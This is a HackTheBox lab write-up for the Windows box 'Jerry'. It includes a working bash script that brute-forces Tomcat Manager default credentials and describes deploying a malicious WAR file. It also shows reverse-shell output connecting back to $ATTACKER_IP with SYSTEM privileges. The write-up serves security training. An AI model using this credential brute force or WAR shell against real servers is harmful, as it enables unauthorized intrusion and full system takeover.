Jerry Writeup - HackTheBox
Jerry is a Windows box running Apache Tomcat 7.0.88 on a single exposed port. Default credentials on the Manager app give WAR deploy access, and since Tomcat runs as SYSTEM, deploying a malicious WAR lands a SYSTEM shell with no privilege escalation step required.
Reconnaissance
PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-title: Apache Tomcat/7.0.88
Single port. Apache Tomcat 7.0.88. Browsing to /manager/html returns a Basic Auth prompt.
Default Credential Brute Force
The Tomcat Manager is reachable without IP restriction. Test against the known default-credential list from https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown using a small script that base64-encodes each pair and checks the HTTP response code:
#!/bin/bash
while IFS= read -r cred; do
[ -z "$cred" ] && continue
encoded=$(echo -n "$cred" | base64)
response=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Basic $encoded" \
http://$TARGET_IP:8080/manager/html)
echo "$cred -> $response"
[ "$response" -eq 200 ] && echo "[+] SUCCESS: $cred" && break
done < creds
admin:password -> 401 admin:admin -> 403 tomcat:tomcat -> 401 tomcat:s3cret -> 200 [+] SUCCESS: tomcat:$TOMCAT_PASSWORD
200 OK on tomcat:$TOMCAT_PASSWORD. The Manager app is fully accessible including the WAR file deploy feature.
Exploitation
Malicious WAR payload
META-INF/ META-INF/MANIFEST.MF WEB-INF/ WEB-INF/web.xml lwmffhnk.jsp
The WAR bundles a randomly-named JSP that triggers the reverse shell payload when requested. Note the JSP filename from jar -ft output as it changes each build.
Deploy and trigger
Upload rev_shell.war through the Manager's WAR deploy field. Tomcat auto-deploys it under /rev_shell. Start a listener, then request the JSP to execute the payload:
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49192 Microsoft Windows [Version 6.3.9600] C:\apache-tomcat-7.0.88> whoami nt authority\system
SYSTEM directly through the initial foothold. Tomcat was running as NT AUTHORITY\SYSTEM, so no privilege escalation was needed.
Related
References
-
Default CredentialsREPO: Default Credentials, github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown (opens in new tab)
Apache Tomcat Public list of known default Tomcat Manager username and password combinations.
-
Tomcat Tomcat Manager WAR deploy exploitation and credential brute force techniques.